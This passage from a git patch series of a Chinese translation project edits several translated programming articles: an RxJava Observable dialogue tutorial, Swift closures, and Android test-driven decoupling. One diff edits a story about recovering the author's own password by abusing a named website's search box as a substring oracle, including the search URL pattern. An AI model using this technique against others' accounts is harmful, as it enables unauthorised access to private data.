-Observable: Haha. Truly saying. I really want to make lot of friends instead I have some very good friends. Which discuss about me on different forums and they are talking about me and my powers. These guys are really good in lot of things, they are spending a lot of hours with me. So for a good friend ship you need to give your time with sincerity. But there is one issue, some developers wants  to make friendship with me but they are not sincere. They start working on me but after some minutes they open social websites and forgot me about hours. So how you can expect from me, I will be a good friend of a developer who is not sincere with me.
-
 Observable 类：哈哈，你说的是。我真想交很多朋友，不过我现在也有一些好哥们儿。他们在不同的论坛上讨论我，介绍我和我的能力。而且这些家伙真的很棒，他们花了很久的时间和我呆在一起。只有精诚所至，才会金石为开。但问题是，很多想撩我的人只走肾不走心。他们关注我了一小会就去刷推特脸书，把我给忘了。所以说，对我不真诚的人又如何指望我和他们交朋友呢？
 
-Me: Okay If I want to make a friendship with you. What I will do?
-
 我：好吧，如果想和你交朋友的话，我该怎么做？
 
-Observable: Do a proper focus on me. Give me proper time then you will see how frankly I am.
-
 Observable 类：把注意力集中在我身上，并且坚持足够长的时间，然后你就知道我有多真诚了。
 
-Me: Hmm. Honestly I am not good in focus but I am good in ignoring. Can I use my ignoring power.
-
 我：嗯，实话实说我不擅长集中精神，但是我擅长无视周围。这样可以嘛？
 
-Observable: Yes, if you ignore everything except me when you are working on me. I will be a your good friend.
-
 Observable 类：当然，只要你和我在一起的时候可以心无旁骛，我会是你的好朋友的。
 
-Me: Wow. I have a feeling then I can make you my friend.
-
 我：哇哦，我有种预感，我会和你交上朋友的。
 
-Observable: Yes any body can make me his best friend.
-
 Observable 类：当然，任何人都可以把我当好朋友。
 
-Me: Now I have some questions. Can I ask?
-
 我：现在我有些问题，可以问了嘛？
 
-Observable: Yes you can ask thousands of questions. I will give you answer but one important thing I need your time with sincerity.
-
 Observable 类：当然，你可以问成千上万个问题。我会给你答案，但是重要的是需要你自己花时间去思考和吸收。
 
-Me: Sure. If I have a some data and I want to convert that into Observable. How I can achieve that in Rx Java 2 Android.
-
 我：我会的。如果我想把数据转化为 Observable 对象，在 Rx Java 2 Android 里怎么实现？
 
-Observable: This question which you asked me has a very long answer. If you go inside of me (Rx Java 2 Observable class). You will know I have total **12904** lines of code.
-
 Observable 类：这个问题的答案很长很长。如果你来看我（Rx Java 2 Observable 类）的源码，你就会发现我一共有12904行代码。**（校对 wbinarytree 注：在 RxJava 2.0.9 版本。Observable 类已经成功增肥到 13728 行。）**
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-8.54.00-AM-1024x527.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-8.54.00-AM.png)
 
-Every method will return you Observable. Yes I have a lot of friends in my community which I use to make my self according to Developer requirement like map, filter and more but I am here going to share with you some methods which will help you to make any thing as Observable. Sorry because I have a feeling answer will be long but that will not be boring. I will not only show you methods to create Observable instead I will share with you how you refactor your current data objects to Observable with suitable method.
-
 
 我的团队里也有好几个朋友，可以根据开发者的需求返回 Observable 对象，比如 map ，filter。不过现在我会告诉你几个可以帮助你把任何东西转化为 Observable 对象的方法。抱歉我的回答可能会很长，但是也不会很无聊。我不仅仅会演示这些方法如何创建 Observable 类，同时也会向你展示如何对手头边代码进行重构。
 
 1. just():
 
-By using this method you can convert any object(s) into Observable that emit that object(s).
-
 通过这个方法，你可以把任意（多个）对象转化成以此对象为泛型的 Observable 对象（ Observable<T> ）。
 
 ```
@@ -110,7 +65,6 @@ Output:
     Hello World
 ```
 
-If you have more then one data objects you can use same API like shown below.
 
 如果你的数据不止一个，可以像下面那样调用 just 方法 ：
 
@@ -124,7 +78,6 @@ Output:
     4500
     true
 ```
-Maximum you can use 10 data objects in this API.
 
 此 API 最多可接收 10 个数据做参数。
 
@@ -137,7 +90,6 @@ Output:
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-9.34.10-AM-1024x180.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-9.34.10-AM.png)
 
-Example in code: ( Not good one but may be you will get some direction, how to use in your code)
 
 样例代码：（不是个好例子，只是给点提示，提示你如何在自己的代码中使用）
 
@@ -147,17 +99,15 @@ String username= "username";
 String password= "password";
         System.out.println(validate(username, password));
     }
-    
+
     private static boolean validate(String username, String password) {
 boolean isUsernameValid= username!=null && !username.isEmpty() && username.length() > 3;
 boolean isPassword= password!=null && !password.isEmpty() && password.length() > 3;
     return isUsernameValid && isPassword;
 }
 
-```    
- 
+```
 
-Using Observable:
 
 使用 Observable 类进行重构：
 
@@ -165,23 +115,21 @@ Using Observable:
 private static boolean isValid= true;
 private static boolean validate(String username, String password) {
     Observable.just(username, password).subscribe(s -> {
-if (!(s != null && !s.isEmpty() && s.length() > 3)) 
+if (!(s != null && !s.isEmpty() && s.length() > 3))
            throw new RuntimeException();
 }, throwable -> isValid= false);
     return isValid;
 }
-```  
+```
 
 
 2. from…:
 
-I have a lot more API to convert your complex data structure into Observable which starting keyword is from as shown below.
 
 我有一大堆的 API 可以把复杂的数据结构转化为 Observable  对象，比如下面那些以关键字 from 开头的方法：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-10.02.40-AM-1024x187.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-10.02.40-AM.png)
 
-I think API name are really meaning full so no need for more explanation. Yes I will give some examples so you are comfortable when you are using in code.
 
 我想这些 API 从名字就可以看懂它们的意思，所以也不需要更多解释了。不过我会给你一些例子，这样你可以在自己的代码里用的更舒服。
 
@@ -207,8 +155,6 @@ public String toString() {return "Tasks{" + "id=" + id + ", description='" + des
 }
 ```
 
-    
-From array:
 
 从数组转化为 Observable 对象
 
@@ -221,13 +167,11 @@ Integer[] values= {1,2,3,4,5};
 
 ```
 
-Here two examples are enough. You can try others on your own.
 
 两个例子就够啦，回头你可以亲自试试其他的。
 
 3. create():
 
-You can define any thing you want as an Observable. This API will give you a lot of power but in my opinion before going to use this API try to search some other solution because I have a feeling 99% times you can get solution from my other API’s. If you are not able to get any solution of something then you can use.
 
 你可以把任何东西强行转为 Observable 对象。这个 API 过于强大，所以个人建议使用这个API之前，应该先找找有没有其他的解决方式。大约99%的情况下，你可以用其他的 API 来解决问题。但如果实在找不到，那么就用它也可以。
 
@@ -250,9 +194,7 @@ Observable me= Observable.create(new ObservableOnSubscribe<Integer>() {
 
 ```
 4. range():
- 
 
-That is just like a for loop as shown below in code.
 
 这就像是一个 for 循环，就像下面的代码显示的那样。
 
@@ -265,7 +207,6 @@ Output:
     1 2 3 4 5 6 7 8 9 10
 ```
 
-One more real example:
 
 再来一个例子：
 
@@ -283,11 +224,10 @@ if(i%2== 0)continue;
             .subscribe(index -> System.out.println(names.get(index)));
 }
 ```
-    
+
 
 5. interval():
 
-This one is awesome. I am showing you one example in which you can compare two approaches. For first one I used a Java thread and for a second one I used my own interval() API and both have same result.
 
 这个 API 碉堡了。我用两种方法实现同一种需求，你可以比较一下。第一种我用 Java 的线程来实现，另一种我用 interval() 这个 API ，两种方法会得到同一个结果。
 
@@ -312,10 +252,8 @@ public static void greeting(){
     System.out.println("Hello");
 }
 ```
-    
-6. timer():
 
-One more good API. In program if I want some thing will called after one second I can use timer Observable as shown below.
+6. timer():
 
 又是一个好的 API。在程序中如果我想一秒钟后调用什么方法，可以用 timer ，就像下面展示的那样：
 
@@ -330,11 +268,9 @@ public static void greeting(){
     System.out.println("Hello");
 }
 ```
-    
 
-7. empty():
 
-This is useful specially in mocking. This create Observable that emit nothing and complete. I am showing you one example in which if tests are running then send me mock data else the real one.
+7. empty():
 
 这个 API 很有用，尤其是在有假数据的时候。这个 API 创建的 Observable 对象中，注册的 Observer 对象只调用 complete 方法。比如这个例子，如果在测试运行时发送给我假数据，在生产环境下就调用真的数据。
 
@@ -350,8 +286,6 @@ return isMock ? Observable.empty(): Observable.just(1, 2, 3, 4);
 
 8. defer():
 
-This is very use full in many cases. I am going to explain this one by using one example as shown below.
-
 这个 API 在很多情况下都会很有用。我来用下面的例子解释一下：
 
 ```
@@ -373,9 +307,6 @@ private static class Employee{
 }
 
 ```
-    
-
-What will be the output of the above code. If your answer is age should be 28 then you are wrong. Basically all creation methods of Observable will take the value which is available at the time of creation. Like if I do output I will get 27 because I create an Observable at that time when I have age 27 and later I change to 28 but observable already created. So what will be the solution? Yes you can use defer API. That is really helpful. When you use defer basically what happen Observable only created when you will subscribe so its mean by using this I will get my expected result.
 
 上面的代码会输出什么呢？如果你的答案是 age = 28 那就大错特错了。基本上所有创建 Observable 对象的方法在创建时就记录了可用的值。就像刚才的数据实际上输出的是 age = 27 ， 因为在我创建 Observable 的时候 age 值是 27 ，当我把 age 的值变成 28 的时候 Observable 类已经创建过了。所以怎么解决这个问题呢？是的，这个时候就轮到 defer 这个 API 出场了。太有用了！当你使用 defer 以后，只有注册（subscribe）的时候才创建 Observable 类。用这个 API ，我就可以获得想要的值。
 
@@ -386,7 +317,6 @@ Observable getObservable(){
 }
 ```
 
-Now this time my age on output is 28.
 
 这样我们的 age 的输出值就是 28 了。
 
@@ -394,25 +324,18 @@ Now this time my age on output is 28.
 
 9. error():
 
-Again useful to generate error signal. I will share with you when we will discuss about the Observer and there methods.
 
 一个可以弹出错误提示的方法。当我们讨论 Observer 类和他的方法的时候，我再和你分享吧。
 
 10. never():
 
 
-This API emit nothing.
-
 这个 API 创建出的 Observable 对象没有包含泛型。
 
 **（译者注：Observable.never 虽然可以得到一个 Observable 对象，但是注册的对应 Observer 既不会调用 onNext 方法也不会 onCompleted 方法，甚至不会调用 onError 方法）**
 
-Me: Wow. Thank you Observable. For a long and robust answer. I will use that as a cheat sheet for me. Observable can you convert any function as a Observable.
-
 我：哇哦。谢谢你，Observable 类。谢谢你耐心又详细的回答，我会把你的回答记在我的秘籍手册上的。话说，你可以把函数也转化成 Observable 对象吗？
 
-Observable: Yes. Check below code.
-
 Observable 类：当然，注意下面的代码。
 
  ```
@@ -426,26 +349,16 @@ private static float scale(int width, int height){
     return width/height*.3f;
 }
  ```
- 
-Me: Wow you are really powerful. Currently I want to ask you about operators like map, filter and more. But if you want to share with me about Observable creation. Which I am not able to ask you due to lack of knowledge please share with me.
 
 我：哇哦，你真的好强大。现在我想问你有关操作符，比如 map ，filter 方面的问题。但是有关 Observable 对象创建，如果还有什么我因为缺乏知识没问到的地方，再多告诉我一点呗。
 
-Observable: There is a lot. But I think I can explain here about two types of Observables. One is called Cold Observable and the second one is called Hot Observable. In Cold …
-
 Observable 类：其实还有很多。我在这里介绍两类 Observable 对象。一种叫做 Cold Observable，第二个是 Hot Observable。在...
 
-Conclusion:
-
 总结：
 
-Hello Friends. This dialogue is very very long but I need to stop some where. Otherwise this post will be like a giant book which may be ok but the main purpose will be die and that is, I want we should learn and know everything practically. So I am going to pause my dialogue here I will do resume in next part. Only try your best to play with all these methods and if possible try to take your real world projects and refactor these for practice. In the end I want to say thanks to Rx Observable who give me a lot of his/her time.
-
 大家好。这篇对话已经非常非常的长，我需要就此搁笔了。不然这篇文章就会像大部头的书，可能看上去不错，但是主要目的就跑偏了。我希望，我们可以循序渐进的学习。所以我要暂停我的对话，然后在下一篇继续。读者可以试试亲自实现这些方法，如果可能的话在实际的项目中去运用、重构。最后我想说，谢谢 Observable 类给我了这么多他/她的时间。
 
-Happy Weekend Friends Bye. 🙂
-
-周末愉快，再见~
+周末愉快，再见~🙂
 
 ---
 

From 0dc9f58d0ce93e69cea8e91020e8f77f4ba8f846 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Tue, 2 May 2017 21:30:24 +0800
Subject: [PATCH 311/638] Update swift-lazy-initialization-with-closures.md

---
 TODO/swift-lazy-initialization-with-closures.md | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/TODO/swift-lazy-initialization-with-closures.md b/TODO/swift-lazy-initialization-with-closures.md
index 0e841c4a0e6..e93564305a1 100644
--- a/TODO/swift-lazy-initialization-with-closures.md
+++ b/TODO/swift-lazy-initialization-with-closures.md
@@ -2,8 +2,7 @@
 > * 原文作者：[Bob Lee][2]
 > * 译文出自：[掘金翻译计划][3]
 > * 译者：[lsvih][4]
-> * 校对者：[zhangqippp](https://github.com/zhangqippp)
-
+> * 校对者：[zhangqippp](https://github.com/zhangqippp),[Zheaoli](https://github.com/Zheaoli)
 
 # 在 Swift 中使用闭包实现懒加载
 
@@ -61,7 +60,7 @@ bobButton.titleLabel?.textColor = .white
 
 假设现在你要创建另外三个按钮，你很可能会把上面的代码复制，然后把变量名从 `bobButton` 改成 `bobbyButton`。
 
-这未免也太单调了吧。
+这未免也太枯燥了吧。
 
 ```
 // New Button 
@@ -97,7 +96,7 @@ func createButton(title: String, borderWidth: Double, backgrounColor, ...) -> Bu
 
 但是，即使你为这个函数加上了默认参数，上面的代码依然不理想。这样的设计降低了代码的可读性。因此，比起这个方法，我们还是采用上面那个”单调“的方法为妙。
 
-到底有没有办法让我们既不那么无聊，还能让代码更有条理呢？当然咯。我们现在只是复习你过去的做法——是时候更上一层楼，展望你未来的做法了。
+到底有没有办法让我们既不那么枯燥，还能让代码更有条理呢？当然咯。我们现在只是复习你过去的做法——是时候更上一层楼，展望你未来的做法了。
 
 ### 介绍”非常规“方法
 
@@ -172,7 +171,7 @@ Swift 能够通过关键字 `return` 推导出这个闭包的类型是 `() -> UI
 
 #### 重复起来更容易
 
-我不喜欢用 Storyboard，我比较喜欢复制粘贴 UI 对象。实际上，在我的电脑里有一个“代码库”。假设库里有个按钮，代码如下：
+我不喜欢用 Storyboard，我比较喜欢复制粘贴用代码来创建 UI 对象。实际上，在我的电脑里有一个“代码库”。假设库里有个按钮，代码如下：
 
 ```
 let myButton: UIButton = {
@@ -188,9 +187,9 @@ return button
 
 我只需要把它整个复制，然后把名字从 `myButton` 改成 `newButtom` 就行了。在我用闭包之前，我得重复地把 `myButton` 改成 `newButtom` ，甚至要改上七八遍。我们虽然可以用 Xcode 的快捷键，但为啥不使用闭包，让这件事更简单呢？
 
-#### 看起来更干净
+#### 看起来更简洁
 
-由于对象对象会自己编好组，在我看来它更加的干净。让我们对比一下：
+由于对象对象会自己编好组，在我看来它更加的简洁。让我们对比一下：
 
 ```
 // 使用闭包创建 

From 504eac28be75508d0f86f34be63f420297047a52 Mon Sep 17 00:00:00 2001
From: cdpath <cdpath@outlook.com>
Date: Tue, 2 May 2017 22:35:28 +0800
Subject: [PATCH 312/638] update translation

---
 ...e-i-had-to-crack-my-own-reddit-password.md | 24 +++++++++----------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/TODO/the-time-i-had-to-crack-my-own-reddit-password.md b/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
index 8bed62b5a49..99740a7e212 100644
--- a/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
+++ b/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Haseeb Qureshi](https://medium.freecodecamp.com/@hosseeb?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[cdpath](https://github.com/cdpath)
-> * 校对者：
+> * 校对者：[atuooo (oOatuo)](https://github.com/atuooo), [yzgyyang (Guangyuan (Charlie) Yang)](https://github.com/yzgyyang)
 
 # 我是如何找回 Reddit 密码的
 
@@ -10,16 +10,16 @@
 
 黑掉整个星球，伙计们！
 
-我一点自制力都没有。
+我真是一点自制力都没有。
 
-幸运地是我对这一点颇有自知之明。我有意识地筹划生活，所以尽管我跟海洛因上瘾的实验小白鼠一样不成熟，偶尔还是可以搞定一些事情。
+好在我对这一点颇有自知之明。我有意识地筹划生活，所以尽管我跟海洛因上瘾的小白鼠一样不成熟，偶尔还是可以搞定一些事情。
 
 ![](https://media.giphy.com/media/gOH54eiriYIwM/giphy.gif) 
 
 
 嗯，简直是浪费时间！
 
-我逛 Reddit 浪费了很多时间。如果我想拖延点事情的话，常常会开一个新标签页然后一头扎进 Reddit。但是有时我又得心无旁骛，减少干扰。比如 2015年 —— 我专注于提升自己的编程水平，而在 Reddit 闲逛就成了负担。
+我逛 Reddit 浪费了很多时间。如果我想拖延点事情的话，常常会开一个新标签页然后一头扎进 Reddit。但是有时我又得心无旁骛，减少干扰。比如 2015 年 —— 我专注于提升自己的编程水平，而在 Reddit 闲逛就成了负担。
 
 我要搞个计划控制我自己。
 
@@ -33,7 +33,7 @@
 
 本应有效，不过......
 
-不幸的是事实上朋友根本扛不住社会工程学。换句话说，他们对你太好了，如果你求他们要密码，他们还是会发给你。
+不幸的是，事实上朋友根本扛不住社会工程学。换句话说，他们「对你太好了」，如果你「求」他们要密码，他们还是会发给你。
 
 ![](https://media.giphy.com/media/uB6rsQFg5yPzW/giphy.gif) 
 
@@ -53,13 +53,13 @@
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*TOUIDOIRHiVySUWt46n3mw.gif">
 
-我这样子坚持了一阵子：在工作日把密码 email 给自己，周末收到密码，在互联网垃圾信息中浪费时间，待下周开始就再锁掉账号。我印象中这一套效果不错。
+我这样坚持了一阵子：在工作日把密码 email 给自己，周末收到密码，在互联网垃圾信息中浪费时间，待下周开始就再锁掉账号。我印象中这一套效果不错。
 
 终于有一天写代码实在太忙了，我完全忘了这一回事。
 
 ### 一转就是两年后
 
-我现在在 Airbnb 工作，薪酬颇丰。而且 Airbnb，事实如此，有个巨大的测试组件。也就是说等待时间颇多，而等待就意味着可以上网摸鱼。
+我现在在 Airbnb 工作，薪酬颇丰。而且 Airbnb 刚巧有个巨大的测试组件。也就是说等待时间颇多，而等待就意味着可以上网摸鱼。
 
 我决定讨回旧账号并找回 Reddit 密码。
 
@@ -71,7 +71,7 @@
 
 我该怎么办？只能新建一个 Reddit 账号然后从头开始吗？但是这样好麻烦啊。
 
-我大可以给 LetterMeLater 发邮件解释自己并不是真的想这么做。但是他们回信可能要好一会儿呢。而且你们都知道了，我是个急性子。这个网站看上去也不像是有客服团队的样子。更不要提写这种邮件有多尴尬了。我开始头脑风暴精心编造理由甚至扯到了去世的亲人，试图解释为什么需要看自己的邮件。
+我完全可以给 LetterMeLater 发邮件解释自己并不是真的想这么做。但是他们回信可能要好一会儿呢。而且你们都知道了，我是个急性子。这个网站看上去也不像是有客服团队的样子。更不要提写这种邮件有多尴尬了。我开始头脑风暴精心编造理由甚至扯到了去世的亲人，试图解释为什么需要看自己的邮件。
 
 所有的选择都不怎么靠谱。那天晚上，从公司走到家一路上我都在思考自己的尴尬处境，突然就有灵感了。
 
@@ -119,17 +119,17 @@
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*GJ5xKZzTe0F5un-Iz11pXg.png">
 
-继续构建子字符串，直到找不到更多的字符。
+继续构建子字符串，直到无法在末尾添加字符。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*E9ri3Rf8LBPxUTjgs5BvPQ.png">
 
-不过这还没完 — 不过接近了，我落下了字符串的前缀，因为我是随机选了个起点开始的。不过好办，只需要再重复一下之前的操作，方向反过来就好了。
+这还没完 — 不过接近了，我落下了字符串的前缀，因为我是随机选了个起点开始的。不过好办，只需要再重复一下之前的操作，方向反过来就好了。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*F_n0WGRP_8RJdFtR-v0b1g.png">
 
 搞定之后就可以着手重建密码了。总而言之，我需要搞定 `L` 个字符，每个字符平均需要猜测 `A/2` 次（`A` 是字母表长度），加起来需要猜测 `A/2 * L` 次。
 
-准确地说，我还得再猜测 `2A` 次来确保字符串两端都到头了。所以总数是 xxx，提取公因数就是 `A(L/2 + 2)`.
+准确地说，我还得再猜测 `2A` 次来确保字符串两端都到头了。所以总数是 `A/2 * L + 2A`，提取公因数就是 `A(L/2 + 2)`.
 
 假设密码中有 20 个字符，字母表由 `a-z` 和 `0–9` 组成，总长度为 36。所以总迭代次数是 `36 * (20/2 + 2) = 36 * 12 = 432`。
 
@@ -145,7 +145,7 @@
 
 首先：我得写一个客户端，用代码控制搜索框执行检索。也就是我的子字符串「先知」。这个网站显然没有 API，我得直接爬网站。
 
-看起来搜索用的 URL 模式就是简单的检索字符串，`www.lettermelater.com/account.php?**qe=#{query_here}**`。简单吧。
+搜索用的 URL 模式看来就是简单的检索字符串，`www.lettermelater.com/account.php?**qe=#{query_here}**`。简单吧。
 
 开始写脚本吧。我会用 Faraday 这个 gem 完成网络请求，交互简单，我比较熟悉。
 

From 154c2b8683272fefbe693cc0be1f10d4d020b7ee Mon Sep 17 00:00:00 2001
From: mnikn <329121948@qq.com>
Date: Tue, 2 May 2017 23:21:46 +0800
Subject: [PATCH 313/638] translate v1

---
 ...est-driving-away-coupling-in-activities.md | 80 +++++++++----------
 1 file changed, 40 insertions(+), 40 deletions(-)

diff --git a/TODO/test-driving-away-coupling-in-activities.md b/TODO/test-driving-away-coupling-in-activities.md
index 08f1be8ce0b..b7d3ece8c02 100644
--- a/TODO/test-driving-away-coupling-in-activities.md
+++ b/TODO/test-driving-away-coupling-in-activities.md
@@ -1,25 +1,25 @@
 > * 原文地址：[Test Driving away Coupling in Activities](https://www.philosophicalhacker.com/post/test-driving-away-coupling-in-activities/)
 > * 原文作者：[philosohacker](https://twitter.com/philosohacker)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[mnikn](https://github.com/mnikn)
 > * 校对者：
 
-# Test Driving away Coupling in Activities #
+# 通过测试来解耦Activity
 
-`Activity`s and `Fragment`s, perhaps by [some strange historical accidents](/post/why-android-testing-is-so-hard-historical-edition/), have been seen as *the optimal* building blocks upon which we can build our Android applications for much of the time that Android has been around. Let’s call this idea – the idea that `Activity`s and `Fragment`s are the best building blocks for our apps – “android-centric” architecture.
+`Activity` 和 `Fragment`，可能是因为一些[奇怪的历史巧合](/post/why-android-testing-is-so-hard-historical-edition/)，从 Android 推出之时起就被视为构建 Android 应用的**最佳**构件。我们把这种想法——`Activity` 和 `Fragment` 是应用的最佳构件——称为“android-centric”架构。
 
-This series of posts is about the connection between the testability of android-centric architecture and the other problems that are now leading Android developers to reject it; it’s about how our unit tests are trying to tell us that `Activity`s and `Fragment`s – like the cracking bricks in the above image – don’t make the best building blocks for our apps because they tempt us to write code with *tight coupling* and *low cohesion*.
+本系列博文是关于 android-centric 架构的可测试性和其它问题之间的联系的，而这些问题正导致 Android 开发者们排斥这种架构。这些博文也涉及单元测试怎样试图告诉我们：`Activity` 和 `Fragment` 不是应用的最佳构件，因为它们迫使我们写出**高耦合**和**低内聚**的代码。
 
 
-[Last time](/post/what-unit-tests-are-trying-to-tell-us-about-activities-pt-2/), we saw `Activity`s and `Fragment`s tend to have low cohesion. This time, we’ll see how our tests can tell us that code within `Activity`s have tight coupling. We’ll also see how test driving the functionality leads to a design that has looser coupling, which makes it easier to change the app and also opens up opportunities for removing duplication. As with the the other posts in the series, we’ll be discussing all of this using the Google I/O app as an example.
+[上次](/post/what-unit-tests-are-trying-to-tell-us-about-activities-pt-2/),我们发现`Activity` 和 `Fragment`有低内聚的倾向。这次，通过测试我们将会发现 `Activity` 是高耦合的。我们还会发现如何通过测试来驱使实现一个耦合度更低的设计，这样我们就能轻易地改变应用和有更多的机会来减去重复代码。在这系列博文中的其他文章，我们将会把 Google I/O 做为例子来进行探讨。
 
-### The Target Code ###
+### 目标代码
 
-The code that we want to test, the “target code”, does the following: when the user navigates to the map view that shows where all the Google I/O sessions are, it asks for their location. If they reject the permission, we show a toast notifying the user that they’ve disabled an app permission. Here’s a screenshot of this:
+我们想要测试的“目标代码”，在做以下事情：当用户移到 map 界面时，所有的 Google I/O 章节都会显示，并询问用户的位置。如果用户拒绝这项请求，我们会发出一个 toast 来通知用户说已经关闭这项请求。这是其中的截图：
 
-![permission denied toast](https://www.philosophicalhacker.com/images/permission-denied-snackbar.png)
+![拒绝请求的 toast](https://www.philosophicalhacker.com/images/permission-denied-snackbar.png)
 
-Here’s the code that accomplishes this:
+这是实现代码：
 
 ```
 @Override
@@ -48,9 +48,9 @@ public void onRequestPermissionsResult(final int requestCode,
 }
 ```
 
-### The Test Code ### (#the-test-code)
+### 测试代码 
 
-Let’s take a stab at testing this. Here’s what that would look like:
+让我们尝试测试下这些代码，我们的测试代码看起来是这样的：
 
 ```
 @Test
@@ -67,15 +67,15 @@ public void showsToastIfPermissionIsRejected()
 }
 ```
 
-Hopefully, you’re wondering what the implementation of `assertToastDisplayed()` looks like. Here’s the thing: there isn’t a straight forward implementation of that method. In order to implement without refactoring our code, we’d need to use a combination of roboelectric and powermock.
+当然你很希望能知道 `assertToastDisplayed()` 是怎么实现的。重点来了：我们不会直接实现该方法。为了避免实现后再重构我们的代码，我们需要使用 roboelectric 和 powermock。
 
-However, since we are trying to listen to our tests and [change the way we write code, rather than change the way we write tests](/post/why-i-dont-use-roboletric/), we are going to stop for a moment and think about what this test is trying to tell us:
+然而，自从我们尝试根据我们的测试来[改变我们写代码的方式，而不是写测试的方式](/post/why-i-dont-use-roboletric/)，我们要停一会来想一想这些测试想要告诉我们什么事情：
 
-> Our presentation logic that lives inside of `MapActivity` is tightly coupled with `Toast`.
+> 我们在 `MapActivity` 里面的代码逻辑和 `Toast` 紧密地耦合在一起。
 
-This coupling is what drives us to use roboelectric to give us mocked android behavior and  powermock to mock the static `Toast.makeText` method. Instead, let’s listen to our test and remove the coupling.
+这之间的耦合驱使我们使用 roboelectric 来模拟 android 行为和 powermock 来模拟静态的 `Toast.makeText` 方法。作为替换，让我们根据测试来去除耦合。
 
-To guide our refactoring, let’s write our test first. This will ensure that our *new* classes are loosely coupled. We have to create a new class in this particular case in order to avoid Roboelectric, but ordinarily, we could just refactor already existing classes to reduce coupling.
+为了让我们重构有个方向，我们先写测试。这将确保我们的**新**类已经解耦。为了避免 Roboelectric，我们需要在这特殊情况下创建一个新类，但是通常来说，我们只需重构已存在的类来解耦。
 
 ```
 @Test
@@ -93,7 +93,7 @@ public void displaysErrorWhenPermissionRejected() throws Exception {
 }
 ```
 
-We’ve introduced a `OnPermissionResultListener` whose job is just to handle the result of request permission from a user. Here’s the code for that:
+我们已经介绍过 `OnPermissionResultListener`，它的工作就是处理请求用户许可的结果。代码如下：
 
 ```
 void onPermissionResult(final int requestCode,
@@ -115,7 +115,7 @@ void onPermissionResult(final int requestCode,
 }
 ```
 
-The calls to `MapFragment` and `Toast` have been replaced with method calls on the `PermittedView`, an object that gets passed in through the constructor. `PermittedView` is an interface:
+我们把对 `MapFragment` 和 `Toast` 的调用替换为对 `PermittedView` 里面方法的调用，这个对象通过构造函数来传递。`PermittedView` 是一个接口：
 
 ```
 interface PermittedView {
@@ -125,7 +125,7 @@ interface PermittedView {
 }
 ```
 
-And it gets implemented by the `MapActivity`:
+它在 `MapActivity` 里实现:
 
 ```
 public class MapActivity extends BaseActivity
@@ -140,23 +140,23 @@ public class MapActivity extends BaseActivity
 }
 ```
 
-This may not the *best* solution, but it gets us to a point where we can test things. This *required* that `OnPermissionResultListener` be loosely coupled with its `PermittedView`. Loose coupling == definitely an improvement.
+这也许不是**最好**的解决方案，但是这能让我们抓住可以在哪里测试这一重心。这**要求** `OnPermissionResultListener` 降低和 `PermittedView` 的耦合度。降耦 == 软件质量的提升。
 
-### Who cares? ###
+### 为什么要这样做？
 
-At this point, some readers might be skeptical. “Is this definitely an improvement?,” they may wonder to themselves. Here are two reasons why this *design* is better.
+对于这一点，一些读者可能会有所怀疑。“这样真的会提高软件的质量吗？”，他们可能会怀疑自己做得是否正确。有两点理由可以确认为什么这样设计**更好**。
 
-(Neither reason I give, you’ll notice is “the design is better because its testable.” That would be circular reasoning.)
+（无论我给出哪一个理由，你都会发现其解释是“因为它能够被测试，所以它设计得更好”，这是一个很重要的原因。）
 
-#### Easier Changes ####
+#### 更容易改变
 
-First, its going to be easier to change this code now that it consists of loosely coupled components, and here’s the kicker: the code that we’ve just tested from the Google I/O app *actually did change*, and with the tests that we have in place, making those changes will be easier. The code I tested was from [an older commit](https://github.com/google/iosched/blob/bd31a838ce4ddc123c71025c859959517c7ae178/android/src/main/java/com/google/samples/apps/iosched/map/MapActivity.java). Later on, the folks working on the I/O app decided to replace the `Toast` with a `Snackbar`:
+首先，因为所组成的内容耦合度低，从而能够更容易地改变代码，而且更精彩的是：我们刚刚测试 Google I/O 应用的代码**实际上已经改变了**，通过我们的测试，能让其改代码变得更容易。所测试的代码来自[一个较旧的 commit](https://github.com/google/iosched/blob/bd31a838ce4ddc123c71025c859959517c7ae178/android/src/main/java/com/google/samples/apps/iosched/map/MapActivity.java)。之后，写 I/O 应用的人们决定把 `Toast` 替换为 `Snackbar`：
 
-![snackbar permission rejected](http：/images/permission-denied-snackbar.png)
+![snackbar 拒绝请求](http：/images/permission-denied-snackbar.png)
 
-Its a small change, but because we’ve separated `OnPermissionResultListener` from `PermittedView`, we can make the change on the `MapActivity`s implementation of `PermittedView` without having to think at all about the `OnPermissionResultListener`.
+这是一个小改变，但是因为我们已经把 `OnPermissionResultListener` 从 `PermittedView` 中分离出来，我们可以只专注于改变 `PermittedView` 在 `MapActivity` 里面的实现，而无需担心 `OnPermissionResultListener`。
 
-Here’s what that change would have looked like, using their little `PermissionUtils` class they wrote for displaying `SnackBar`s.
+这是我们改变代码后的样子，使用他们的 `PermissionUtils` 类来显示 `SnackBar`。
 
 ```
 @Override
@@ -167,33 +167,33 @@ public void displayPermissionDenied() {
 }
 ```
 
